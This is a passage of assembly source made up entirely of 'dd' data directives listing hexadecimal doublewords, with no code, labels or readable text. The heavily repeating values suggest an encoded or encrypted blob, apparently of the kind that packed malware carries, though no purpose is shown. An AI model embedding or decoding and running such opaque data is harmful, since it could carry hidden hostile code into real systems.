11E37F53h, 1A6023EAh, 15664BB7h dd 19EF8732h, 1A664432h, 156624B8h, 15EF1E32h, 9E668832h dd 0EC6779B7h, 1569CB37h, 943A1132h, 7CF3863Ah, 972FF82Fh dd 0F4AE726Dh, 1576F86Bh, 0A8288832h, 0C8DF708Bh, 487B204h dd 0FFCC2A35h, 0AF348488h, 15664433h, 1A3CF533h, 15661BBBh dd 9CD8E832h, 1A0AA902h, 2E07D385h, 14BE11B7h, 51E38734h dd 0E9664432h, 0D87A7B9h, 1A0614CBh, 15668EB9h, 15E24B32h dd 1A662232h, 156600B8h, 156A6132h, 131F4432h, 5AD65D75h dd 0BD678F46h, 4607F0BEh, 15664589h, 4EB92332h, 956971CEh dd 15668833h, 0E25BFBC7h, 2E071140h, 14BE19B7h, 57E38734h dd 0FC664432h, 1566223Ch, 363ACD2Fh, 6DE07A01h, 13082AF4h dd 9E9A4D8Ch, 0EC4018B7h, 138FE837h, 83664432h, 0F39129C5h dd 0C6D11EBCh, 118A0B53h, 0EA4278BBh, 0FC390636h, 1566113Bh dd 0A24D4347h, 57D50193h, 19E31978h, 1A6010EAh, 1566CDB7h dd 1560AD32h, 932D2232h, 4EB3B0D5h, 18DF0DB9h, 1B8F41CBh dd 75662232h, 0F6E4F49Ah dd 8280F636h, 9A554A8Ch, 0DCDB77E4h, 0E248630Eh, 0E88B09E7h dd 9426A14Eh, 274C0C7h, 118BD013h, 1FD47DB3h, 0FA4FB0D6h dd 905DDE6Fh, 1367C922h, 154E0D3Dh, 138F4432h, 29662232h dd 5FDCF150h, 0CE3031Ah, 0EC63BD1Bh, 2425FDB5h, 249D20EDh dd 12E787EDh, 1A664432h, 156623B5h, 905DE832h, 13675026h dd 153DC13Dh, 1D8F2232h, 0A3661132h, 0D2881B2Fh, 1ABE3537h dd 15662EB5h, 1561F832h, 0E9328832h, 0B5C4E00Bh, 20E3A960h dd 7563E813h, 15600C3Dh, 9C694432h, 15662232h, 15661CDAh dd 43B7ED32h, 961E7D1Ah, 0BBF796A2h, 743DED6Ch, 0EA993664h dd 0E24FBBCDh, 0AB00426Ch, 0FAE7B317h, 61F7BC92h, 0DE37F53h dd 1A6023EAh, 156655B7h, 0FBD1E832h, 366A3B3h, 9E074F39h dd 0EC4408B7h, 9169E837h, 15664434h, 0BAB2E2B3h, 0A2691812h dd 0AD36E9E8h, 2E7D7221h, 0E265C2F3h, 0FDA751E2h, 20DFBD35h dd 0CF6360E6h, 14BD47B4h, 9F6949F5h, 15668833h, 9E37FCAh dd 1A6023EAh, 156672B7h, 9E00E832h, 1576ADFCh, 0B5452232h dd 2A0FB63Fh, 98BB2EFFh, 0A9D7001h, 9E075189h, 0EC704CB7h dd 1DED8737h, 1A664432h, 156620BDh, 92077132h, 0EA8D0BEDh dd 73069BB5h, 0FCBDAE8Ch, 15661139h, 0BABAFFAh, 87ECBB98h dd 740DCE4Eh, 156602DBh, 0E4D23832h, 4EE9AAB9h, 0E98A7DDCh dd 0C93B97A3h, 3F7CC2AEh, 0CD46C109h, 90692433h, 15661106h dd 13E68752h, 1A664432h, 156622B9h, 90ED7032h, 109FAFBFh dd 69D82252h, 0AC37432Bh, 15661133h, 753F4733h, 1566C33Dh dd 73062232h, 64A4C9B3h, 7407E952h, 0CD4EC109h, 90692433h dd 15661174h, 0A0E303CBh, 7563BD26h, 1563CA52h, 8FF1132h dd 4F90DB9Eh, 15664EDBh, 13060532h, 6EAFA57Ah, 7456D0DEh dd 920782B9h, 0E25764C5h, 0E257EF03h, 156699DBh, 0A2D63332h dd 674B5BBEh, 9A272533h, 32BEB826h, 905D776Fh, 1367FA16h dd 153E943Dh, 1A068832h, 156646BAh, 0AC3D7232h, 1E5AECB6h dd 2CDB0B53h, 1563BD26h, 155AA73Dh, 0AA061132h, 4E0A3478h dd 1565CA3Dh, 0D9E62232h, 90ED707Bh, 109F92BFh, 0EADC16CAh dd 3C99DDCDh, 47064BE5h, 4CBC0354h, 156654DBh, 17923032h dd 61B4C4FCh, 71DF0501h, 0D8860F79h, 0A8E54303h, 109F3B6Bh dd 91E28732h, 75664432h, 0CFD92D60h, 198F706Ah, 87668832h dd 0FC6077E5h, 7DBEF908h, 2E8BC220h, 14BE38B7h, 75E34B34h dd 75662232h, 204EE3B3h, 0E3DFC21Fh, 7466F96Bh, 30B3A7B9h dd 966914CBh, 15668835h, 1567C03Dh, 759E2232h, 1563973Dh dd 9BDE8832h, 0FC58C333h, 15662223h, 0E4F6770Dh, 0CD07931Dh dd 0B0F6BE0Ch, 0FA96CC20h, 0AE3570C4h, 6865A041h, 7824B7B3h dd 0FEE7383Dh, 726A5402h, 0E03D5733h, 1567CA3Dh, 96932232h dd 0EC4D3C8Fh, 91698837h, 156645C7h, 0B4DBA1CBh, 1563E837h dd 14810C3Dh, 1F8F4432h, 0E0662232h, 1DF4AFE1h, 7A57A25Bh dd 81E37F02h, 1A6023EAh, 15665BB7h, 15776132h, 0E1084432h dd 56986F8Ch, 3CE30D54h, 2C06F87h, 9E5B3603h, 0EC41E3B7h dd 1EEB1E37h, 75668832h, 0E01B4B3h, 9E004237h, 0AB3070EDh dd 0EA9977CDh, 0FC38B31Bh, 1566223Dh, 24A8F785h, 0D6E94E79h dd 53EAAA04h, 2ED27569h, 14BEB5B7h, 26E38734h, 1A664432h dd 15662EBAh, 13E51E32h, 1A668832h, 156644B4h, 4CE3A932h dd 1A63E834h, 156689BFh, 0AB30B832h, 4E12599Dh, 9465F7F3h dd 494401F4h, 4B914516h, 905DDECAh, 1367C9AAh, 15380D3Dh dd 1A934432h, 156635B6h, 4EA1E32h, 0FC668832h, 1566443Eh dd 0B4D06D30h, 5E0EB6A4h, 0ABB30A9Dh, 33EFC1B9h, 966927CBh dd 1566113Eh, 1560073Dh, 99694432h, 15662232h, 1567A962h dd 0D2678832h, 0CE04B6Ah, 1A662232h, 156602BBh, 15686132h dd 6F744432h, 9C834B3Fh, 0B5757440h, 115236AFh, 0CDCEC109h dd 90692433h, 1566111Ch, 50D9E852h, 1A0143E9h, 7407E38Dh dd 66794B9h, 73068DCBh, 946FF48Ah, 57E065EBh, 0AE357001h dd 0EA9977CDh, 753D9B1Bh, 0AA694A85h, 905D70EDh, 1367509Eh dd 157BC13Dh, 9E9F2232h, 0EC5474B7h, 15616137h, 2F604432h dd 0F439BBF0h, 0EADF40F4h, 3C9977CDh, 2E9F1DFDh, 14BEBEB7h dd 39E31E34h, 1A668832h, 15664CBBh, 17EA2D32h, 75661132h dd 3CE30353h, 0FC63BD26h, 1566223Bh, 0D4622DB1h, 0F045463Ah dd 0EADF1599h, 3C99DDCDh, 2E9F48FDh, 14BE28B7h, 27E34B34h dd 0FC662232h, 15661134h, 30CB68D9h, 90ED8AC9h, 109F352Bh dd 14DE41C7h, 14668832h, 78F1CF5h, 83662232h, 0EA556F29h dd 0DDFC3BAFh, 0EBA3E499h, 36697FB9h, 0B4DB92C6h, 15637137h dd 1F4BC03Dh, 99692232h, 15661133h, 39E3B3CEh, 1A6045EAh dd 156656B7h, 1B8E7132h, 76668832h, 0D15D0D85h, 8D38D0E9h dd 0D50B1DCFh, 0C4960991h, 4D3102A0h, 4A87A360h, 4B6278F6h dd 94E30353h, 1A63BD15h, 156624BDh, 74067132h, 750773B9h dd 1566C13Dh, 128F2232h, 18661132h, 0A232F323h, 44071732h dd 0E822118Bh, 4487902Bh, 0D456095Eh, 942741D3h, 765565FBh dd 8D97906Eh, 3CC51C7Eh, 138F1DFDh, 45662232h, 2CF9A3C8h dd 0D5E3B387h, 1A6045EAh, 156607B7h, 90EDE432h, 109FAC1Fh dd 1567C63Dh, 459E2232h, 1566108Ah, 4DA18932h, 156ECC3Dh dd 1A062232h, 9E00E68Dh, 905DE9C1h, 13679C02h, 1522A73Dh dd 108F1132h, 0CD668832h, 55EDA725h, 0CEFA7B9h, 1A0614CBh dd 15668CB5h, 5ADE2232h, 156CCB0Eh, 9E481132h, 0CD9F669Fh dd 59C78814h, 35DD7153h, 0E23B5529h, 0FEE7C3E1h, 0B7DDA0EFh dd 1A3DFD33h, 156610B5h, 905D7032h, 13679C06h, 1528A73Dh dd 92691132h, 1566883Ch, 1561AD52h, 3C3C2232h, 0F45810AEh dd 90EDE945h, 109F621Fh, 15662FDBh, 49EC7832h, 0D8063C23h dd 63AFBD83h, 0A833657Eh, 15661133h, 0FC3B6733h, 15664426h dd 3A97B254h, 2BBE7029h, 7C318C8h, 0E389B4DCh, 0CEEA7B1Ah dd 0CD5E9409h, 90698E33h, 1566440Bh, 156EA13Dh, 73061132h dd 75D4098Ch, 90ED2553h, 109F2A0Fh, 0DB44C7h, 9462AC0Bh dd 0CC045DF7h, 0C6A3A323h, 148C1356h, 1F8FD5DDh, 7B664432h dd 22F013A1h, 0F7F500E7h, 29E3B39Eh, 1A6045EAh, 15661EB7h dd 0ECD37132h, 749E3F3Dh, 15FF9B1h, 1A6627CBh, 156639B7h dd 9400E832h, 9F0E86C4h, 90ED43F8h, 109F1637h, 0C7D98752h dd 11991353h, 315AA916h, 1562D5B3h, 0A5068832h, 0C3D94B16h dd 55E31953h, 1A6010EAh, 156628B7h, 5E64B32h, 0FC662232h dd 15661139h, 0C9E639D0h, 0EC42CBE3h, 1ACBE534h, 156607BAh dd 15776132h, 0F80C4432h, 715BAFDDh, 3EC460BDh, 0FDF4D65Eh dd 9ED6226Dh, 0EC6A57B7h, 156EF837h, 78428832h, 0EFD3CE3Ah dd 0F9E52017h, 315A9836h, 4A428CCDh, 48F2452h, 79662232h dd 0C1FCF62Bh, 26D6DB74h, 0A54DF23Bh, 0E6CD4B69h, 156600DAh dd 877E5732h, 0F4F890A0h, 0C07E9AE5h, 0DFDB684Eh, 743F94FDh dd 25A2FE54h, 108F4253h, 0B9661132h, 0F7806BB6h, 156CCF3Dh dd 108F2232h, 8B661132h, 0E43616C7h, 51E37F53h, 1A6023EAh dd 156621B7h, 14E18732h, 0EC664432h, 15F9FB1h, 1A6614CBh dd 156694B7h, 1563AD32h, 0CF832232h, 9E077853h, 0EC6EA9B7h dd 0AD36BC37h, 0EA99DDCDh, 0ED3ED61Bh, 5DE3B3CBh, 1A6045EAh dd 15663FB7h, 11EA1E32h dd 75668832h, 0E0079AB9h, 2027A7B9h, 479E14CBh, 15668988h dd 4FB14532h, 905DDACBh, 1367C97Eh, 15210D3Dh, 9E934432h dd 0EC61B7B7h, 739F7137h, 0F7968B3h, 0F8DF1553h, 94328727h dd 3C36ACD3h, 12874925h, 652EB5B3h, 0D4E7334Ah, 0EB69C80Bh dd 1A3F4733h, 156650B8h, 1569CB32h, 95A31132h, 1BFA4892h dd 0B5FD8EB3h, 1DEF09A7h, 41E32AB4h, 1A6089EAh, 156613B7h dd 156CCB32h, 0AA8F1132h, 85338FA9h, 9365A904h, 15F9FB1h dd 1A6614CBh, 1566B3B7h, 95932432h, 9E0725C4h, 0EC40B4B7h dd 0CE48737h, 0FC664432h, 15662226h, 8A147A83h, 5E14F7CBh dd 0E08B2CBBh, 0A6A3DD99h, 743789F0h, 47163163h, 0D4E71B91h dd 0B53A8FBDh, 0E93FDE1Bh, 0CD360D09h, 90694233h, 1566226Ch dd 1EE31E52h, 0FC668832h, 15664434h, 4EDE1286h, 94692823h dd 15668831h, 740091B2h, 15F9FB1h, 1A6614CBh, 1566BDB7h dd 1563AD32h, 964E2232h, 9E0E8672h, 0EC48D1B7h, 9631BC37h dd 4A99061Eh, 1569F852h, 48DB8832h, 35F37BB3h, 6ECC104Fh dd 0A577B105h, 9400E873h, 74EE80F3h, 905DDE53h, 1367C96Ah dd 155E0D3Dh, 9E694432h, 1566223Ch, 156618DBh, 33537832h dd 68A43235h, 90ED6A5Eh, 109F209Bh, 156686DBh, 5AE9C632h dd 5176DEEFh, 0A80462DEh, 477E0DD7h, 15664588h, 4FB12332h dd 905DE4CBh, 1367506Eh, 1540C13Dh, 128F2232h, 1B661132h dd 0E7C486CDh, 9406314Dh, 824D90D3h, 9E07ED5Dh, 0EC7E89B7h dd 0AD36B137h, 0EA99DDCDh, 0EC3ED61Bh, 0CD060D09h, 90694233h dd 15662250h, 156600DBh, 6A5D232h, 619F16D4h, 76387DA2h dd 1D6A13E0h, 90EDBA61h, 109F7153h, 1570AA3Dh, 99691132h dd 15668822h, 15664FDBh, 18E58132h, 1E80CBEAh, 0E9A276A6h dd 1567FE60h, 0C2672232h, 92697168h, 15668830h, 78F1C65h dd 28662232h, 0F6AF3D86h, 4C9464A7h, 7DF373E4h, 8743685Bh dd 905D706Fh, 13675056h, 1554C13Dh, 9E9E2232h, 0EC6014B7h dd 0A269E837h, 5786C5EDh, 747C8757h, 0EA99A962h, 0D24F77CDh dd 1A8F246Ah, 1F662232h, 0D4481AC2h, 9BFC29A0h, 0DBF458F7h dd 749ABC17h, 0CD0E9409h, 90698E33h, 15664479h, 6482A252h dd 15E21E52h, 1A668832h, 156644B3h, 9E074332h, 0EC4318B7h dd 0FD35E837h, 1566443Eh, 0B02D6CD3h, 8634E109h, 0DD744F07h dd 0EC071D6Ch, 0EA999F67h, 0FA4FEECDh, 156B616Fh, 77F44432h dd 26B2BF54h, 2874FDFh, 2EB11CF0h, 14BE28B7h, 5DE32D34h dd 1A661132h, 156689B6h, 90EDBD32h, 109F320Fh, 1560F952h dd 0D2D18832h, 9CBE2636h, 1966A89h, 1C8F4846h, 13668832h dd 22E13B86h, 3B2A0D3Eh, 74937153h, 0EA993664h, 0E24FBBCDh dd 156FCB6Ch, 70241132h, 63B80211h, 2E185C89h, 14BE52B7h dd 74E31E34h, 75668832h, 156CCC3Dh, 108F2232h, 0E2661132h dd 825FA937h, 156CAD52h, 0C0672232h, 0F2F95109h, 829FCF82h dd 90FDFF54h, 90ED4353h, 109F17EBh, 15680D3Dh, 1C8F4432h dd 0B9662232h, 97BE340Ah, 0A3E99AAh, 0EA99F967h, 0FA4FDDCDh dd 4EA1E6Fh, 0FC668832h, 1566443Eh, 6859FB29h, 973FBF5h dd 1A5BEE30h, 0CD12C109h, 90692433h, 15661170h, 1567023Dh dd 9E9F4432h, 0EC47B3B7h, 108F7137h, 6668832h, 344D095Fh dd 0FDE74460h, 7438A0D5h, 15673163h, 0DA674432h, 1572CB6Bh dd 770A1132h, 77C00082h, 0BBCCD380h, 0D2F1D753h, 0EBFB7196h dd 905D3B21h, 109F56F7h, 1534A73Dh, 96691132h, 1566883Bh dd 90BCFD52h, 0A4D45830h, 19EF1E53h, 1A668832h, 156642B1h dd 15E12D32h, 9E661132h, 0EC623DB7h, 4693BC37h, 0A687789h dd 13AD9014h, 94470B72h, 8A281CD9h, 4EB90B15h, 1568953Dh dd 1C8F8832h, 28664432h, 862E59C7h, 12F33559h, 0CD1E0D09h dd 90694233h, 15662269h, 2FDE7752h, 18EE87Dh, 5D664432h dd 0ABCEB125h, 83E2602Bh, 1D0106BEh, 0E57AC796h, 4B8E8ABFh dd 15669A3Dh, 74078832h, 105BC1B9h, 996927CBh, 1566113Ah dd 15640A3Dh, 74064432h, 0EA999860h, 0C24FEECDh, 198FE868h dd 8E664432h, 0AD3E864Dh, 71A45681h, 1A270C28h, 2E079685h dd 14BE96B7h, 47E31E34h, 0EC668832h, 0CDDAF9B1h, 1A662433h dd 15660DB7h, 156F6132h, 50A54432h, 0C578B17Fh, 9640A192h dd 0EC4FC98Fh, 91694437h, 1566221Bh, 40E39AC7h, 75637112h dd 0AF97FB3Dh, 7A78A830h, 14DD4253h, 14668832h, 1F8F1FEDh dd 0A8662232h, 0A485940Ch, 754D0E05h, 0ADE37FE8h, 1A6023EAh dd 156694B7h, 0FC9EE832h, 1566443Ah, 18B590D4h, 675C071Ah dd 14EE8753h, 0ED664432h, 0CDDA9FB1h, 1A661733h, 156693B7h dd 14EF4B32h, 0E9662232h, 3C27ACB1h, 1A668DCBh, 156609B6h dd 14E42D32h, 0E9661132h, 5FF0DB9h, 9E0641CBh, 10EC2DC8h dd 0AA661132h, 4DC64109h, 89D81253h, 9470821Ah, 0A2046BDCh dd 0DBE7C613h, 2E2F0A95h, 9464C4F3h, 0B25C8CDCh, 4B91A1CDh dd 156649DBh, 6FC81732h, 7D779983h, 1773437h, 905DA510h dd 1367FA4Eh, 1532943Dh, 1A068832h, 156642BEh, 15E92D32h dd 45661132h, 156698DBh, 1BCD7A32h, 7D361D64h, 48B27668h dd 14EC04E0h, 9E071A2Eh, 0EC71F7B7h, 0A833E837h, 7DC1AEA9h dd 7408A9B3h, 0D0E76FD6h, 61BA799Eh, 38BE7DB3h, 0FA67CBADh dd 12E92D6Fh, 1A661132h, 156689BDh, 905DBD32h, 1367FAB2h dd 1529943Dh, 9E9A8832h, 0EC7D65B7h, 0CE52D37h, 0FC661132h dd 15668826h, 7B59F074h, 51A94037h, 6EFC0D7Fh, 242D5275h dd 73AD96Ch, 4B4A9961h, 0F6B72511h, 5C24BB3h, 0FEE77916h dd 6DAA5B9Bh, 4634E2B3h, 0CA67A4ACh, 1561AD69h, 7C3C2232h dd 580EF806h, 91E3B3CAh, 1A6045EAh, 15666AB7h, 1EEB1E32h dd 75668832h, 78EB83B3h, 0D8E646ABh, 108F7002h, 90668832h dd 5857BCB7h, 34EFA7B9h, 1C8F14CBh, 0BC668832h, 0A34952F5h dd 9DBDE8F3h, 1567AC67h, 0FA678832h, 156DAD6Fh, 23602232h dd 495963F9h, 0E3DB4586h, 9DE37FDCh, 1A6023EAh, 15662BB7h dd 0DEEDE832h, 156642DAh, 0C48A0032h, 1A73E28Dh, 74397985h dd 1D67C1B9h, 198F27CBh, 1661132h, 7B45219Ah, 0E3F05A93h dd 40FBDAA3h, 0EA99EE8Fh, 4889A1CDh, 1567C43Dh, 2E932232h dd 14BE9DB7h, 3BE38734h, 1A664432h, 15662EBCh, 13E31E32h dd 1A668832h, 156644BAh, 9E004232h, 90ED70CBh, 109F82CFh dd 1567C13Dh, 409A2232h, 1566108Fh, 48898932h, 85E37FCBh dd 1A6023EAh, 156627B7h, 156E6132h, 0C4114432h, 442050A2h dd 90EDB8B5h, 109FAFB3h, 0CEE7B852h, 7A0AD7A5h, 14DD4253h dd 14668832h, 198F1FEDh, 6E662232h, 22091F10h, 267363D6h dd 1EEA5EEEh, 5E22DCDh, 0E9661132h, 0EA8B93DBh, 1563ADCDh dd 0BEDB2232h, 2EA5E9F5h, 0EC6641B7h, 2CE34B37h, 75662232h dd 6FE39C53h, 1A6088D2h, 156642BDh, 0C1E64232h, 7507E45Fh dd 4BAD0361h, 74BEF33Dh, 0EA8AC1DBh, 4E61ECDh, 75668832h dd 1D8F2552h, 48662232h, 0E2E8285h, 744B7FCAh, 193C109h dd 906927CBh, 15661150h, 1567053Dh, 96934432h, 14B1FE8Fh dd 90691034h, 1566887Ch, 1568CD3Dh, 1C8F2232h, 1B661132h dd 0F2FF326Bh, 0EB846128h, 1E01A7BFh, 108F116Bh, 0C5668832h dd 46C8E850h, 0EA8AA1DBh, 0FD0671CDh, 15668821h, 0DD91692Eh dd 8CA32FACh, 4005066Ah dd 0E6F79B76h, 4E1BC675h, 590A354h, 9E007049h, 905DE9E4h dd 136793DEh, 1549A63Dh, 1D8F1132h, 0D2668832h, 0A6CDEDD2h dd 2E54455Ah, 14B1E1B7h, 54E38734h, 1A664432h, 156632B9h dd 156DF832h, 4C7F8832h, 0E8B9A11h, 3D68471Dh, 0F978F8B3h dd 1A0677CDh, 156647BFh, 0DCD12D32h, 15661EDAh, 47171732h dd 0AFBD0818h, 9D785901h, 83012DE6h, 15660D3Dh, 743D4432h dd 0E8E9961h, 0CBEF3466h, 0FD880969h, 1A431029h, 156625BDh dd 14E31E32h, 0E0668832h, 1A67BAB1h, 1566E9B7h, 14ED1E32h dd 0E0668832h, 0C286C109h, 90692433h, 15661178h, 15670C3Dh dd 989F4432h, 4DE1E6B7h, 1E8F7132h, 19668832h, 7340D5Eh dd 6F143E97h, 9A691F5Fh, 15668834h, 1566CD3Dh, 0FC072232h dd 0EA99FAA2h, 1572073Dh, 1A8F4432h, 77662232h, 4A71A54Ch dd 48AE44ADh, 82A8B08Ch, 905D57E4h, 1367C6D6h, 154C0D3Dh dd 989F4432h, 4DEE18B7h, 488FE932h, 759977D9h, 15664EDAh dd 1237E432h, 88EC71C9h, 1A7A61E2h, 156644B3h, 94007C32h dd 745BCBF0h, 0C28E0D09h, 90694233h, 1566221Eh, 6AE39CCAh dd 0FC66D0BAh, 15664435h, 0E4B0D9FFh, 0FC91AE87h, 0EA99632Eh dd 15664BDBh, 0DE120832h, 2165EABAh, 0C6551A39h, 0E34CC6Eh dd 9C3B7267h, 18F4CDAh, 9F668832h, 221026B0h, 9C98F107h dd 8C79F8D7h, 487E38E0h, 46B842BCh, 5D52B75Ah, 317A9A24h dd 15624CB3h, 0FEA74432h, 0BD8DA334h, 0E2289E36h, 0C18D09E9h dd 9C2871D1h, 108F79ECh, 96661132h, 1EC8BC8Ah, 9069B239h dd 15662216h, 156A903Dh, 95698832h, 15664434h, 1566A53Dh dd 6E8F1132h, 1A9977D8h, 156643BBh, 14ED2D32h, 0E9661132h dd 9C6264B1h, 0FC386036h, 15662221h, 0B9D3DDE8h, 3A81DC99h dd 89336F83h, 6D63BEBFh, 9CF5AA4Dh, 0EC7B7587h, 1563AD37h dd 0F9D12232h, 9C7C0E26h, 0EC4F5587h, 1569AD37h, 0E52F2232h dd 0A2AEC782h, 4F1BB026h, 0FC24A4E8h, 0FC58A2ACh, 145C943Dh dd 0EA9E8832h, 29ED4544h, 11A2A316h, 75661132h, 1560073Dh dd 9B694432h, 15662232h, 0DD8F848Dh, 0FAE7E930h, 22EC5526h dd 23F8CDB3h, 0E2677E17h, 23F84FB3h, 0D2E72B17h, 22EC3326h dd 1563993Dh, 95068832h, 7507E6D7h, 87BC1889h, 1572F813h dd 44F18832h, 9C8559B4h, 0E33487E2h, 0F8BDA447h, 0F66773A4h dd 9407C6FFh, 156626DEh, 31529832h, 0BA428CB3h, 4E0B081Ah dd 3DC9C9B3h, 58F7C7Eh, 6D668832h, 858DE557h, 56ACFB7Eh dd 56D56560h, 0FCED5EB7h, 1566443Eh, 0CE355D12h, 0E78815E1h dd 78F82041h, 5566FD63h, 0FEE72232h, 7E5052C5h, 0D6E74333h dd 7E5007C5h, 0A85DDB6Bh, 109F0CCFh, 153E0A3Dh, 9E694432h dd 15662233h, 0FC0671CBh, 15668821h, 0A5238838h, 0DAB63167h dd 7F405F70h, 0E71EDA8Dh, 1A616B9Fh, 156622B8h, 78F7032h dd 70668832h, 5D369B16h, 38B9F59Ch, 0D9308CBAh, 5AB0E943h dd 0EE5D2508h, 1548A43Dh, 1E8F1132h, 5A668832h, 6F581C48h dd 0AEAB5093h, 0EE8F41FBh, 0FC9977DAh, 15664426h, 0C38CBC5Dh dd 0D57E8CF0h, 0A80A6856h, 42621EADh, 41B1BA5h, 112FACB9h dd 48F8DCBh, 36664432h, 4C9BDD61h, 20B9FE3Dh, 6373ACD9h dd 0E25D56F2h, 1578AC3Dh, 9D691132h, 1566882Ah, 156657DBh dd 0F8360832h, 7EDD665Fh, 50EF165Eh, 93C110D9h, 70202C29h dd 0BD794F5h, 15668DCBh, 759F4432h, 0DDD12D52h, 0C8D39853h dd 0FC63711Bh, 15664423h, 8161067Fh, 1CFC0BE8h, 7D456B1Dh dd 0A8097085h, 0DAFBAF62h, 0ED60136Fh, 95695BCDh, 1566443Ch dd 15662BDBh, 0E0A61E32h, 0C476A792h, 0D56D9C69h, 1548A63Dh dd 92691132h, 1566883Ch, 15E74B52h, 1A662232h, 156611BBh dd 0D68FE932h, 0FC664432h, 15662222h, 0B3A168A4h, 54B913C5h dd 5A02B932h, 0F50B0EEAh, 0E08F8CBFh, 9C698DCCh, 15664426h dd 93ADA252h, 15661BDBh, 0E3AD6232h, 7A78BC8Eh, 74B92EF5h dd 9669C2CDh, 0EA99775Bh, 6FDD24CEh, 732DBFEEh, 5D53F7B3h dd 0C8D30353h, 1A63BD1Bh, 15662AB2h, 17EF1E32h, 75668832h dd 0BFD12453h, 17A7A354h, 0A0EF7049h, 109F9683h, 156649DBh dd 0CC25C532h, 47C2AA5h, 0FA546858h, 88EB88EAh, 13666801h dd 14E31EC7h, 0E0668832h, 9E6997CDh, 15662235h, 1567943Dh dd 1A9A8832h, 156665B4h, 18F4232h, 0CF661132h, 7614CF91h dd 7CFDDD34h, 0BF66BAD9h, 0F0CDBAD3h, 1AFCD9D1h, 156644B7h dd 90ED4332h, 109F0CCFh, 0C8E301CBh, 0FC63BD1Bh, 1566223Ch dd 0DCD8C9D3h, 1BF4D42Fh, 5C1D102Dh, 749E2A75h, 15759F3Dh dd 1B8F8832h, 7C664432h, 0DF86F09Bh, 7C5E2106h, 78DD308h dd 0FD58C4D6h, 144FA73Dh, 73061132h, 198F70B9h, 90664432h dd 1A28DFA0h, 82F213B8h, 74A7BE7Eh, 32C3F9B1h, 1A6627CBh dd 156717B6h, 15616132h, 884B4432h, 425C9F1Bh, 0A635404Fh dd 3D1C3975h, 0FCE61FEBh, 4CAEAA78h, 156619DBh, 31769432h dd 971FAFEAh, 0ECCCD79Dh, 19E21E52h, 0FD668832h, 15664434h dd 9CA82C81h, 74382827h, 31520964h, 49390E04h, 944226B9h dd 156615F6h, 5F50BD32h, 1E8F186Dh, 1B662232h, 675AC059h dd 423E5168h, 730620B9h, 37B3F9B3h, 0A4B19052h, 1A035346h dd 156644BDh, 47074332h, 39343B88h, 1D940937h, 0E22CC01Eh dd 0C08CA3E0h, 3C115F21h, 0ED4FD2E2h, 1C084C37h, 18F420Bh dd 0C9661132h, 88F71DD4h, 52B3E1D7h, 7234BEB6h, 850BCD6Eh dd 730520CCh, 4207BCB9h, 763A9961h, 0D42D4C43h, 0D6E78AD9h dd 0FDC5E31Ch, 3C3DFDBBh, 1F8F4ECAh, 4C668832h, 0A40C5C75h dd 2146F4AAh, 9B69BA64h, 1566883Ah, 1564C83Dh, 74062232h dd 156408DBh, 15776132h, 0ADA64432h, 0AFC57D79h, 8A333519h dd 1D80D190h, 98D5AE4Fh, 172579AFh, 14E41E34h, 0E0668832h dd 9B6997CDh, 15662224h, 0D3D91E52h, 156684DBh, 305C7F32h dd 0D2331E70h, 0BE52F240h, 88EBE9AEh, 13641D0Eh, 0FCB5DDCAh dd 15661121h, 0A4381A2h, 0BAD01117h, 2DD89B35h, 0F25CFCC5h dd 1E00A517h, 12E34BF2h, 0ED662232h, 15663DDBh, 90E57D32h dd 109F6DEFh, 9E304237h, 75074AE8h, 15E18762h, 4A664432h dd 74DCCCB2h, 0EA9845DBh, 156161CDh, 378C4432h, 97BC4E55h dd 33FB9CA0h, 75608A69h, 3166FB54h, 0D7D12D60h, 0EA9F706Dh dd 5E887E1h, 0FC664432h, 15662239h, 3E55FBCFh, 81B8B0ADh dd 0E06DA1F1h, 9069E239h, 15661117h, 1574033Dh, 99694432h dd 1566223Eh, 156616DBh, 2C4C2932h, 0FC44C8B8h, 1567AD3Dh dd 0FC9E1132h, 15668801h, 11D812CAh, 94662232h, 6C6EB1D8h dd 94948955h, 6C6EE4F0h, 0FC9F7C55h, 15661038h, 15770C3Dh dd 198F4432h, 0A8662232h, 0BB65847Ah, 21D2CDEAh, 98B24678h dd 0EB93CBAFh, 0AA697137h, 0C699E9E5h, 1554C73Dh, 108F2232h dd 0BE661132h, 0C78248AAh, 3CBBF1B9h, 1E8F27CBh, 78661132h dd 1BBBC940h, 85D2C562h, 1B8FC42Dh, 75661102h, 15EA8761h dd 4F664432h, 74B69D3Dh, 3CBB9CB9h, 9C938DCBh, 0EC4F9987h dd 0CBE74237h, 31AC08D7h, 5A8D0954h, 0D4E725A5h, 50A65531h dd 4CA8F8B3h, 0E44FF615h, 4CA885B3h, 0FCE75C15h, 50A66631h dd 15670E3Dh, 469F4432h, 15662289h, 86A59032h, 3C13FC03h dd 868DC5F9h, 92135603h, 1A064AEBh, 15669CBBh, 1568AC32h dd 2DDF2232h, 99A88A1Ah dd 0A376F694h, 0DE337C8Eh, 0D3E7436Ah, 16ED44BDh, 0AC37461Bh dd 564662DAh, 9462CBF3h, 4C3530F3h, 4CA8A1CDh, 1571CA3Dh dd 90692232h, 15661123h, 156684DBh, 1E21D632h, 0BFD07415h dd 472790F5h, 0E9C27B68h, 0EA9A88DBh, 88EBDECDh, 13665D38h dd 156699DBh, 59383A32h, 59612E1Dh, 0F99CB3B4h, 6B9A2BFBh dd 0C699A99Ch, 156627DBh, 5CB59F32h, 9431D73Dh, 0ED46036h dd 11ED14B2h, 11A29016h, 38668832h, 23E65F80h, 13EF2D52h dd 1A661132h, 156688B3h, 7488F132h, 5CE309CAh, 0E063E836h dd 156687DBh, 88277632h, 8B745727h, 9179065h, 7D80B1ACh dd 10CFC1BBh, 1D8F27CBh, 0CE661132h, 0C9FB5621h, 9E27A9EEh dd 0EC626BB7h, 3CE01E37h, 75668832h, 156655DBh, 0C7D3F032h dd 5289F6A6h, 0C469D36Ch, 6829B6Ah, 1E8E3403h, 4C661132h dd 0F3D0B220h, 987FE6EDh, 743FD005h, 157A345Ah, 315A0132h dd 0F0EF11CEh, 1562E7B3h, 0F8E71132h, 15668836h, 494268B5h dd 754226BBh, 1560943Dh, 97698832h, 15664432h, 9807E9B9h dd 152882BFh, 15766134h, 37D24432h, 16B2CF73h, 4DCD11ADh dd 0D1F6BB9Bh, 0EA9F95ACh, 976942E3h, 15661134h, 15660C3Dh dd 9E074432h, 0EC4303B7h, 1561F837h, 6C3A8832h, 0EA5E32EFh dd 118AA33Ah, 9C661132h, 68FAC36h, 0FE664432h, 0CE5E30E5h dd 15867974h, 1F6BDD10h, 545825FBh, 128FFE43h, 0E5661132h dd 0B2DA5BA1h, 9C358B0Ch, 11A5A3D1h, 96661132h, 9E18CD9h dd 29EF1816h, 